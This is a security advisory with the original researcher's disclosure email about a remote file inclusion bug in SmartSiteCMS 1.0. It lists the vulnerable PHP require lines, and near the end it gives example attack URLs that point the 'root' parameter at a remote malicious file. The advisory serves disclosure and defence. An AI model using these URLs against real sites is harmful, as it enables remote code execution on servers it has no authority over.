SmartSiteCMS 'root' Parameter Include File Bug Lets Remote Users Execute Arbitrary Code
|
|
SecurityTracker Alert ID: 1016411
|
|
SecurityTracker URL: http://securitytracker.com/id?1016411
|
|
CVE Reference: CVE-2006-3421
(Links to External Site)
|
Updated: Aug 12 2008
|
Original Entry Date: Jun 29 2006
|
Impact: Execution of arbitrary code via network, User access via network
|
Exploit Included: Yes
|
Version(s): 1.0
|
Description: A vulnerability was reported in SmartSiteCMS. A remote user can include and execute arbitrary code on the target system.
Several scripts do not properly validate user-supplied input in the 'root' parameter. A remote user can supply a specially crafted
URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating
system commands, will run with the privileges of the target web service.
The 'comment.php', '/admin/comedit.php', '/admin/test.php',
'/admin/index.php', and '/admin/include/inc_adminfoot.php' scripts are affected.
CrAsh_oVeR_rIdE of Arabian Security Team discovered
this vulnerability.
|
Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: www.smartsitecms.net/ (Links to External Site)
|
Cause: Input validation error, State error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: KARKOR23@hotmail.com
|
Message History:
None.
|
Source Message Contents
|
Date: 27 Jun 2006 23:00:17 -0000
From: KARKOR23@hotmail.com
Subject: smartsite cms v1.0 Remote File include
|
smartsite cms v1.0 Remote File include
-------------------------------------------------
Discovered By CrAsh_oVeR_rIdE
Arabian Security Team
-------------------------------------------------
site of script:www.smartsitecms.net
-------------------------------------------------
Vulnerable: smartsite cms v1.0
-------------------------------------------------
vulnerable code:
----------------------
1-in comment.php :
require($root . "include/inc_foot.php");
---------------------------------------
2-in /admin/comedit.php :
else
{
require('../include/inc_accessfail.php');
}
?>
</div>
</div>
<?php
}
else {
require($root . "include/inc_adminfail.php");
---------------------------------------
3-in /admin/test.php :
require($root . "include/inc_adminfooter.php");
---------------------------------------
4-in /admin/index.php :
require($root . "admin/include/inc_adminfooter.php");
---------------------------------------
5-in /admin/include/inc_adminfoot.php:
require($root . "include/inc_footer.php");
---------------------------------------
$root parameter File include
-----------------------------------------------------------------------------------------------------
------------------------------------
vulnerable files :
--------------------
comment.php
/admin/test.php
/admin/index.php
/admin/include/inc_adminfoot.php
/admin/comedit.php
-------------------------------------------------
example:
www.example.com/(path)/comment.php?root=http://evilcode.txt?
www.example.com/(path)/admin/test.php?root=http://evilcode.txt?
www.example.com/(path)/admin/index.php?root=http://evilcode.txt??root=http://evilcode.txt?
www.example.com/(path)/admin/include/inc_adminfoot.php?root=http://evilcode.txt?
www.example.com/(path)/admin/comedit.php?root=http://evilcode.txt?
--------------------------------------------------
Discovered By CrAsh_oVeR_rIdE
E-mail:KARKOR23@hotmail.com
Site:www.lezr.com
Greetz:KING-HACKER,YOUNG
HACKER,SIMO64,ROOT-HACKED,SAUDI,QPTAN,POWERWALL,SNIPER_SA,Black-Code,ALMOKAN3 AND ALL LEZR.COM Member
|
|
